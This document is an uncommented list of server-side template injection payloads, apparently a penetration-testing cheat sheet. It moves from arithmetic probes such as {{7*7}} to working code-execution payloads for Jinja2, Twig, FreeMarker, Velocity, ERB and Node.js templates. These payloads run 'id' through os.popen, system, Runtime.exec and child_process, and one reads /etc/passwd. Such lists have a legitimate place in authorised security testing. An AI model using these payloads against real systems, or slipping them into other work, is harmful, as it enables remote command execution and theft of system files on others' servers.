${7*7}
{{7*7}}
<%= 7*7 %>
#{7*7}
${{7*7}}
{{7*'7'}}
${7*7}{{7*7}}<%=7*7%>${{7*7}}#{7*7}
{{config}}
{{config.items()}}
{{self.__init__.__globals__.__builtins__.import('os').popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{joiner.__init__.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__.os.popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{_self}}
{{dump(app)}}
{{['id']|filter('system')}}
{{['id']|map('system')}}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${"freemarker.template.utility.Execute"?new()("id")}
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
<%= 7*7 %>
<%= system("id") %>
<%= `id` %>
<%= File.open('/etc/passwd').read %>
<%= 7*7 %>
<%= global.process.mainModule.require('child_process').execSync('id') %>